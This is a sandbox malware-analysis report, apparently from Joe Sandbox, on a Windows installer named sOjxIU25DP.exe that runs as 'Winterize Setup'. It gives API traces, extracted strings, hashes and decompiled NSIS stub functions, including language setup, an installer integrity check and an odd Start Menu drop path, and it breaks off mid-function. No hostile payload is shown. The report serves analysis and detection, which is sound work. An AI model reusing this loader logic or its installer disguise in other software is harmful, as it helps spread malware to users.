0x00000000
0x00000000
0x00403ef3
0x00403edf
0x00403edf
0x00403ee1
0x00403ee1
0x00000000
0x00403ee1
0x00403ed4
0x00403ed9
0x00000000
0x00403ed9
0x00403eb8
0x00403ebe
0x00000000
0x00000000
0x00403ec0
0x00000000
0x00403ec0
0x00403eb0
0x00000000
0x00403eb0
0x00403e96
0x00403e9d
0x00403ea3
0x00403ea5
0x00000000
0x00000000
0x00000000
0x00403ea5
0x00403e61
0x00000000
0x00403e3f
0x00403e45
0x00403e4f
0x00404256
0x0040425c
0x0040425e
0x00404264
0x00404269
0x0040426f
0x0040426f
0x00404264
0x00404279
0x00000000
0x00404279
0x00403e3d

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E14
ShowWindow.USER32(?), ref: 00403E31
DestroyWindow.USER32 ref: 00403E45
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403E61
GetDlgItem.USER32(?,?), ref: 00403E82
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403E96
IsWindowEnabled.USER32(00000000), ref: 00403E9D
GetDlgItem.USER32(?,00000001), ref: 00403F4B
GetDlgItem.USER32(?,00000002), ref: 00403F55
SetClassLongA.USER32(?,000000F2,?), ref: 00403F6F
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403FC0
GetDlgItem.USER32(?,00000003), ref: 00404066
ShowWindow.USER32(00000000,?), ref: 00404087
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404099
EnableWindow.USER32(?,?), ref: 004040B4
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004040CA
EnableMenuItem.USER32(00000000), ref: 004040D1
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 004040E9
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 004040FC
lstrlenA.KERNEL32(Winterize Setup: Installing,?,Winterize Setup: Installing,00000000), ref: 00404126
SetWindowTextA.USER32(?,Winterize Setup: Installing), ref: 00404135
ShowWindow.USER32(?,0000000A), ref: 00404269

Strings

Winterize Setup: Installing, xrefs: 00404116, 0040411C, 00404125, 00404133

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Winterize Setup: Installing
API String ID: 3282139019-1759165729
Opcode ID: d6da6c5de99458088c7999c1dd716d566bf2c91c1949817f7462d4e775375818
Instruction ID: 6f64ab7c90c2728ca861f65b52108cf4a96aadf8bbc29eaef7369c8c365bd3a4
Opcode Fuzzy Hash: d6da6c5de99458088c7999c1dd716d566bf2c91c1949817f7462d4e775375818
Instruction Fuzzy Hash: F2C1C2B1A00300BFDB216F61EE45D2B3AB8EB85746F41053EF641B51F1CB3999829B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403A3B Relevance: 51.0, APIs: 14, Strings: 15, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403A3B(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t17;
				void* _t25;
				void* _t27;
				int _t28;
				void* _t31;
				int _t34;
				int _t35;
				intOrPtr _t36;
				int _t39;
				char _t57;
				CHAR* _t59;
				signed char _t63;
				signed short _t67;
				CHAR* _t74;
				intOrPtr _t76;
				CHAR* _t81;

				_t76 =  *0x424754;
				_t17 = E00406631(2);
				_t84 = _t17;
				if(_t17 == 0) {
					_t74 = 0x420d50;
					"1033" = 0x30;
					 *0x42b001 = 0x78;
					 *0x42b002 = 0;
					E0040610F(_t71, __eflags, 0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420d50, 0);
					__eflags =  *0x420d50; // 0x57
					if(__eflags == 0) {
						E0040610F(_t71, __eflags, 0x80000003, ".DEFAULT\\Control Panel\\International",  &M0040836A, 0x420d50, 0);
					}
					lstrcatA("1033", _t74);
				} else {
					_t67 =  *_t17(); // executed
					E00406186("1033", _t67 & 0x0000ffff);
				}
				E00403D00(_t71, _t84);
				_t80 = "C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens";
				 *0x4247e0 =  *0x42475c & 0x00000020;
				 *0x4247fc = 0x10000;
				if(E00405CAE(_t84, "C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens") != 0) {
					L16:
					if(E00405CAE(_t92, _t80) == 0) {
						E004062BB(0, _t74, _t76, _t80,  *((intOrPtr*)(_t76 + 0x118))); // executed
					}
					_t25 = LoadImageA( *0x424740, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423f28 = _t25;
					if( *((intOrPtr*)(_t76 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t27 = E00403D00(_t71, __eflags);
							__eflags =  *0x424800;
							if( *0x424800 != 0) {
								_t28 = E00405421(_t27, 0);
								__eflags = _t28;
								if(_t28 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x423f0c; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420d30, 5); // executed
							_t34 = E004065C3("RichEd20"); // executed
							__eflags = _t34;
							if(_t34 == 0) {
								E004065C3("RichEd32");
							}
							_t81 = "RichEdit20A";
							_t35 = GetClassInfoA(0, _t81, 0x423ee0);
							__eflags = _t35;
							if(_t35 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423ee0);
								 *0x423f04 = _t81;
								RegisterClassA(0x423ee0);
							}
							_t36 =  *0x423f20; // 0x0
							_t39 = DialogBoxParamA( *0x424740, _t36 + 0x00000069 & 0x0000ffff, 0, E00403DD8, 0); // executed
							E0040398B(E0040140B(5), 1);
							return _t39;
						}
						L22:
						_t31 = 2;
						return _t31;
					} else {
						_t71 =  *0x424740;
						 *0x423ee4 = E00401000;
						 *0x423ef0 =  *0x424740;
						 *0x423ef4 = _t25;
						 *0x423f04 = 0x40a210;
						if(RegisterClassA(0x423ee0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoA("true", 0,  &_v16, 0);
						 *0x420d30 = CreateWindowExA("true", 0x40a210, 0, "true", _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x424740, 0);
						goto L21;
					}
				} else {
					_t71 =  *(_t76 + 0x48);
					_t86 = _t71;
					if(_t71 == 0) {
						goto L16;
					}
					_t74 = 0x4236e0;
					E0040610F(_t71, _t86,  *((intOrPtr*)(_t76 + 0x44)), _t71,  *((intOrPtr*)(_t76 + 0x4c)) +  *0x424798, 0x4236e0, 0);
					_t57 =  *0x4236e0; // 0x43
					if(_t57 == 0) {
						goto L16;
					}
					if(_t57 == 0x22) {
						_t74 = 0x4236e1;
						 *((char*)(E00405BEB(0x4236e1, 0x22))) = 0;
					}
					_t59 = lstrlenA(_t74) + _t74 - 4;
					if(_t59 <= _t74 || lstrcmpiA(_t59, ?str?) != 0) {
						L15:
						E00406228(_t80, E00405BC0(_t74));
						goto L16;
					} else {
						_t63 = GetFileAttributesA(_t74);
						if(_t63 == 0xffffffff) {
							L14:
							E00405C07(_t74);
							goto L15;
						}
						_t92 = _t63 & 0x00000010;
						if((_t63 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403a41
0x00403a4a
0x00403a51
0x00403a53
0x00403a67
0x00403a79
0x00403a80
0x00403a87
0x00403a8d
0x00403a92
0x00403a98
0x00403aab
0x00403aab
0x00403ab6
0x00403a55
0x00403a55
0x00403a60
0x00403a60
0x00403abb
0x00403ac5
0x00403ace
0x00403ad3
0x00403ae4
0x00403b6b
0x00403b73
0x00403b7c
0x00403b7c
0x00403b92
0x00403b98
0x00403ba6
0x00403c27
0x00403c2f
0x00403c39
0x00403c3e
0x00403c44
0x00403cce
0x00403cd3
0x00403cd5
0x00403cf1
0x00000000
0x00403cf1
0x00403cd7
0x00403cdd
0x00403ce5
0x00403ce5
0x00000000
0x00403cdd
0x00403c52
0x00403c5d
0x00403c62
0x00403c64
0x00403c6b
0x00403c6b
0x00403c76
0x00403c7e
0x00403c80
0x00403c82
0x00403c8b
0x00403c8e
0x00403c94
0x00403c94
0x00403c9a
0x00403cb3
0x00403cc4
0x00000000
0x00403cc9
0x00403c31
0x00403c33
0x00000000
0x00403ba8
0x00403ba8
0x00403bb4
0x00403bbe
0x00403bc4
0x00403bc9
0x00403bd8
0x00403cf6
0x00403cf6
0x00000000
0x00403cf6
0x00403be7
0x00403c22
0x00000000
0x00403c22
0x00403aea
0x00403aea
0x00403aed
0x00403aef
0x00000000
0x00000000
0x00403af9
0x00403b09
0x00403b0e
0x00403b15
0x00000000
0x00000000
0x00403b19
0x00403b1b
0x00403b28
0x00403b28
0x00403b30
0x00403b36
0x00403b5e
0x00403b66
0x00000000
0x00403b48
0x00403b49
0x00403b52
0x00403b58
0x00403b59
0x00000000
0x00403b59
0x00403b54
0x00403b56
0x00000000
0x00000000
0x00000000
0x00403b56
0x00403b36

APIs

Part of subcall function 00406631: GetModuleHandleA.KERNEL32(?,?,?,004034D4,0000000B), ref: 00406643
Part of subcall function 00406631: GetProcAddress.KERNEL32(00000000,?), ref: 0040665E

GetUserDefaultUILanguage.KERNELBASE(00000002,76783410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\sOjxIU25DP.exe",00000000), ref: 00403A55

Part of subcall function 00406186: wsprintfA.USER32 ref: 00406193

lstrcatA.KERNEL32(1033,Winterize Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Winterize Setup: Installing,00000000,00000002,76783410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\sOjxIU25DP.exe",00000000), ref: 00403AB6
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens,1033,Winterize Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Winterize Setup: Installing,00000000,00000002,76783410), ref: 00403B2B
lstrcmpiA.KERNEL32(?,.exe), ref: 00403B3E
GetFileAttributesA.KERNEL32(Call), ref: 00403B49
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens), ref: 00403B92
RegisterClassA.USER32(00423EE0), ref: 00403BCF
SystemParametersInfoA.USER32(?,00000000,?,00000000), ref: 00403BE7
CreateWindowExA.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403C1C
ShowWindow.USER32(00000005,00000000), ref: 00403C52
GetClassInfoA.USER32(00000000,RichEdit20A,00423EE0), ref: 00403C7E
GetClassInfoA.USER32(00000000,RichEdit,00423EE0), ref: 00403C8B
RegisterClassA.USER32(00423EE0), ref: 00403C94
DialogBoxParamA.USER32(?,00000000,00403DD8,00000000), ref: 00403CB3

Strings

"C:\Users\user\Desktop\sOjxIU25DP.exe", xrefs: 00403A3F
C:\Users\user\AppData\Local\Temp\, xrefs: 00403A40
1033, xrefs: 00403A5B, 00403AB1
RichEd20, xrefs: 00403C58
>B, xrefs: 00403BA1
Call, xrefs: 00403AF9, 00403B01, 00403B0E, 00403B58, 00403B5E
Control Panel\Desktop\ResourceLocale, xrefs: 00403A6F
Winterize Setup: Installing, xrefs: 00403A67, 00403A6D, 00403A92, 00403A9B, 00403AB0
_Nb, xrefs: 00403BAE, 00403C16
RichEdit, xrefs: 00403C85
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens, xrefs: 00403AC5, 00403ACD, 00403B65, 00403B6B, 00403B7B
RichEd32, xrefs: 00403C66
.exe, xrefs: 00403B38
.DEFAULT\Control Panel\International, xrefs: 00403AA1
RichEdit20A, xrefs: 00403C76, 00403C7C

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\sOjxIU25DP.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Winterize Setup: Installing$_Nb$>B
API String ID: 606308-3164347074
Opcode ID: bcb3f1b755a8239a326be9c77ef7809b08f8d995ca4fa1217ef78e75f994cb2b
Instruction ID: 0b0e7d8dfe967f47b98d7fa3c12120eb495d8fa8be153c65172cdb3e572a9271
Opcode Fuzzy Hash: bcb3f1b755a8239a326be9c77ef7809b08f8d995ca4fa1217ef78e75f994cb2b
Instruction Fuzzy Hash: A061C4702046046EE620AF65AD46F3B3A7CEB8574AF40443FF951B62D3CB7D99068A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402EF1 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402EF1(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				char _v300;
				signed int _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				signed int _t77;
				signed int _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t92;
				long _t94;
				signed int _t102;
				signed int _t104;
				void* _t106;
				signed int _t107;
				signed int _t110;
				void* _t111;

				_t94 = 0;
				_v8 = 0;
				_v12 = 0;
				 *0x424750 = GetTickCount() + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\Arthur\\Desktop\\sOjxIU25DP.exe", 0x400);
				_t106 = E00405DC1("C:\\Users\\Arthur\\Desktop\\sOjxIU25DP.exe", "true", 3);
				 *0x40a018 = _t106;
				if(_t106 == 0xffffffff) {
					return "Error launching installer";
				}
				E00406228("C:\\Users\\Arthur\\Desktop", "C:\\Users\\Arthur\\Desktop\\sOjxIU25DP.exe");
				E00406228(0x42c000, E00405C07("C:\\Users\\Arthur\\Desktop"));
				_t54 = GetFileSize(_t106, 0);
				__eflags = _t54;
				 *0x41f908 = _t54;
				_t110 = _t54;
				if(_t54 <= 0) {
					L24:
					E00402E52(1);
					__eflags =  *0x424758 - _t94;
					if( *0x424758 == _t94) {
						goto L32;
					}
					__eflags = _v12 - _t94;
					if(_v12 == _t94) {
						L28:
						_t57 = GlobalAlloc("true", _v20); // executed
						_t111 = _t57;
						E00406756(0x40b870);
						E00405DF0( &_v300, "C:\\Users\\Arthur\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileA( &_v300, "true", _t94, _t94, 2, 0x4000100, _t94); // executed
						__eflags = _t62 - 0xffffffff;
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E00403419( *0x424758 + 0x1c);
							 *0x41f90c = _t65;
							 *0x41f900 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E00403192(_v16, 0xffffffff, _t94, _t111, _v20); // executed
							__eflags = _t68 - _v20;
							if(_t68 == _v20) {
								__eflags = _v40 & 0x00000001;
								 *0x424754 = _t111;
								 *0x42475c =  *_t111;
								if((_v40 & 0x00000001) != 0) {
									 *0x424760 =  *0x424760 + 1;
									__eflags =  *0x424760;
								}
								_push("true");
								_t70 = _t111 + 0x44;
								_pop(_t102);
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t111;
									_t102 = _t102 - 1;
									__eflags = _t102;
								} while (_t102 != 0);
								_t71 =  *0x41f8fc; // 0x4568d
								 *((intOrPtr*)(_t111 + 0x3c)) = _t71;
								E00405D7C(0x424780, _t111 + 4, "true");
								__eflags = 0;
								return 0;
							}
							goto L32;
						}
						return "Error writing temporary file. Make sure your temp folder is valid.";
					}
					E00403419( *0x41f8f8);
					_t77 = E00403403( &_a4, "true");
					__eflags = _t77;
					if(_t77 == 0) {
						goto L32;
					}
					__eflags = _v8 - _a4;
					if(_v8 != _a4) {
						goto L32;
					}
					goto L28;
				} else {
					do {
						_t107 = _t110;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x424758) & 0x00007e00) + 0x200;
						__eflags = _t110 - _t82;
						if(_t110 >= _t82) {
							_t107 = _t82;
						}
						_t83 = E00403403(0x4178f8, _t107);
						__eflags = _t83;
						if(_t83 == 0) {
							E00402E52(1);
							L32:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x424758;
						if( *0x424758 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402E52(0);
							}
							goto L20;
						}
						E00405D7C( &_v40, 0x4178f8, "true");
						_t89 = _v40;
						__eflags = _t89 & 0xfffffff0;
						if((_t89 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v36 - 0xdeadbeef;
						if(_v36 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v24 - 0x74736e49;
						if(_v24 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v28 - 0x74666f73;
						if(_v28 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v32 - 0x6c6c754e;
						if(_v32 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t89;
						_t104 =  *0x41f8f8; // 0x0
						 *0x424800 =  *0x424800 | _a4 & 0x00000002;
						_t92 = _v16;
						__eflags = _t92 - _t110;
						 *0x424758 = _t104;
						if(_t92 > _t110) {
							goto L32;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v12 = _v12 + 1;
							_t110 = _t92 - 4;
							__eflags = _t107 - _t110;
							if(_t107 > _t110) {
								_t107 = _t110;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t110 -  *0x41f908; // 0xbd0
						if(__eflags < 0) {
							_v8 = E004066E8(_v8, 0x4178f8, _t107);
						}
						 *0x41f8f8 =  *0x41f8f8 + _t107;
						_t110 = _t110 - _t107;
						__eflags = _t110;
					} while (_t110 != 0);
					_t94 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402efc
0x00402eff
0x00402f02
0x00402f1c
0x00402f21
0x00402f34
0x00402f39
0x00402f3f
0x00000000
0x00402f41
0x00402f52
0x00402f63
0x00402f6a
0x00402f70
0x00402f72
0x00402f77
0x00402f79
0x00403064
0x00403066
0x0040306b
0x00403072
0x00000000
0x00000000
0x00403078
0x0040307b
0x004030a7
0x004030ac
0x004030b7
0x004030b9
0x004030ca
0x004030e5
0x004030eb
0x004030ee
0x004030f3
0x00403112
0x00403122
0x00403134
0x00403139
0x0040313e
0x00403141
0x0040314a
0x0040314e
0x00403156
0x0040315b
0x0040315d
0x0040315d
0x0040315d
0x00403163
0x00403165
0x00403168
0x00403169
0x00403169
0x0040316c
0x0040316e
0x0040316e
0x0040316e
0x00403171
0x00403178
0x00403184
0x00403189
0x00000000
0x00403189
0x00000000
0x00403141
0x00000000
0x004030f5
0x00403083
0x0040308e
0x00403093
0x00403095
0x00000000
0x00000000
0x0040309e
0x004030a1
0x00000000
0x00000000
0x00000000
0x00402f7f
0x00402f84
0x00402f89
0x00402f8d
0x00402f94
0x00402f99
0x00402f9b
0x00402f9d
0x00402f9d
0x00402fa1
0x00402fa6
0x00402fa8
0x00403101
0x00403143
0x00000000
0x00403143
0x00402fae
0x00402fb5
0x00403031
0x00403035
0x00403039
0x0040303e
0x00000000
0x00403035
0x00402fbe
0x00402fc3
0x00402fc6
0x00402fcb
0x00000000
0x00000000
0x00402fcd
0x00402fd4
0x00000000
0x00000000
0x00402fd6
0x00402fdd
0x00000000
0x00000000
0x00402fdf
0x00402fe6
0x00000000
0x00000000
0x00402fe8
0x00402fef
0x00000000
0x00000000
0x00402ff1
0x00402ff7
0x00403000
0x00403006
0x00403009
0x0040300b
0x00403011
0x00000000
0x00000000
0x00403017
0x0040301b
0x00403023
0x00403023
0x00403026
0x00403029
0x0040302b
0x0040302d
0x0040302d
0x00000000
0x0040302b
0x0040301d
0x00403021
0x00000000
0x00000000
0x00000000
0x0040303f
0x0040303f
0x00403045
0x00403051
0x00403051
0x00403054
0x0040305a
0x0040305a
0x0040305a
0x00403062
0x00403062
0x00000000
0x00403062

APIs

GetTickCount.KERNEL32 ref: 00402F05
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\sOjxIU25DP.exe,00000400), ref: 00402F21

Part of subcall function 00405DC1: GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00405DC5
Part of subcall function 00405DC1: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\sOjxIU25DP.exe,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00402F6A
GlobalAlloc.KERNELBASE(?,0040A130), ref: 004030AC

Strings

Inst, xrefs: 00402FD6
"C:\Users\user\Desktop\sOjxIU25DP.exe", xrefs: 00402EF1
Null, xrefs: 00402FE8
Error launching installer, xrefs: 00402F41
C:\Users\user\Desktop\sOjxIU25DP.exe, xrefs: 00402F0B, 00402F1A, 00402F2E, 00402F4B
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EFB, 004030C4
soft, xrefs: 00402FDF
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403143
C:\Users\user\Desktop, xrefs: 00402F4C, 00402F51, 00402F57
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004030F5

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\sOjxIU25DP.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\sOjxIU25DP.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-3868612695
Opcode ID: ca76f8d495ce3895f444a46e92879b513e81ddc2aff1e21a5d111d80dade61e3
Instruction ID: 41f98d992e8437d8d417f3691d947d8f632b5d0a71237712da2b0bb715ca9b84
Opcode Fuzzy Hash: ca76f8d495ce3895f444a46e92879b513e81ddc2aff1e21a5d111d80dade61e3
Instruction Fuzzy Hash: 1B71E131A00259ABDB20AF64DD85B9E3BACEB44355F20803BF911BA2D1C77C9E418B5C

Uniqueness

Uniqueness Score: -1.00%

Function 004062BB Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E004062BB(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				struct _ITEMIDLIST* _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t38;
				CHAR* _t39;
				signed int _t41;
				char _t52;
				char _t53;
				char _t55;
				char _t57;
				void* _t65;
				char* _t66;
				signed int _t80;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				CHAR* _t90;
				void* _t92;
				signed int _t97;
				signed int _t99;
				void* _t100;

				_t92 = __esi;
				_t89 = __edi;
				_t65 = __ebx;
				_t38 = _a8;
				if(_t38 < 0) {
					_t86 =  *0x423f1c; // 0x55dd3b
					_t38 =  *(_t86 - 4 + _t38 * 4);
				}
				_push(_t65);
				_push(_t92);
				_push(_t89);
				_t66 = _t38 +  *0x424798;
				_t39 = 0x4236e0;
				_t90 = 0x4236e0;
				if(_a4 >= 0x4236e0 && _a4 - 0x4236e0 < 0x800) {
					_t90 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t88 =  *_t66;
					if(_t88 == 0) {
						break;
					}
					__eflags = _t90 - _t39 - 0x400;
					if(_t90 - _t39 >= 0x400) {
						break;
					}
					_t66 = _t66 + 1;
					__eflags = _t88 - 4;
					_a8 = _t66;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t90 = _t88;
							_t90 =  &(_t90[1]);
							__eflags = _t90;
						} else {
							 *_t90 =  *_t66;
							_t90 =  &(_t90[1]);
							_t66 = _t66 + 1;
						}
						continue;
					}
					_t41 =  *((char*)(_t66 + 1));
					_t80 =  *_t66;
					_t97 = (_t41 & 0x0000007f) << 0x00000007 | _t80 & 0x0000007f;
					_v24 = _t80;
					_v28 = _t80 | 0x00000080;
					_v16 = _t41;
					_v20 = _t41 | 0x00000080;
					_t66 = _a8 + 2;
					__eflags = _t88 - 2;
					if(_t88 != 2) {
						__eflags = _t88 - 3;
						if(_t88 != 3) {
							__eflags = _t88 - 1;
							if(_t88 == 1) {
								__eflags = (_t41 | 0xffffffff) - _t97;
								E004062BB(_t66, _t90, _t97, _t90, (_t41 | 0xffffffff) - _t97);
							}
							L42:
							_t90 =  &(_t90[lstrlenA(_t90)]);
							_t39 = 0x4236e0;
							continue;
						}
						__eflags = _t97 - 0x1d;
						if(_t97 != 0x1d) {
							__eflags = (_t97 << 0xa) + 0x425000;
							E00406228(_t90, (_t97 << 0xa) + 0x425000);
						} else {
							E00406186(_t90,  *0x424748);
						}
						__eflags = _t97 + 0xffffffeb - 7;
						if(_t97 + 0xffffffeb < 7) {
							L33:
							E00406503(_t90);
						}
						goto L42;
					}
					_t52 =  *0x42474c;
					__eflags = _t52;
					_t99 = 2;
					if(_t52 >= 0) {
						L13:
						_a8 = 1;
						L14:
						__eflags =  *0x4247e4;
						if( *0x4247e4 != 0) {
							_push("true");
							_pop(_t99);
						}
						__eflags = _t80;
						if(__eflags >= 0) {
							__eflags = _t80 - 0x25;
							if(_t80 != 0x25) {
								__eflags = _t80 - 0x24;
								if(_t80 == 0x24) {
									GetWindowsDirectoryA(_t90, 0x400);
									_t99 = 0;
								}
								while(1) {
									__eflags = _t99;
									if(_t99 == 0) {
										goto L30;
									}
									_t53 =  *0x424744;
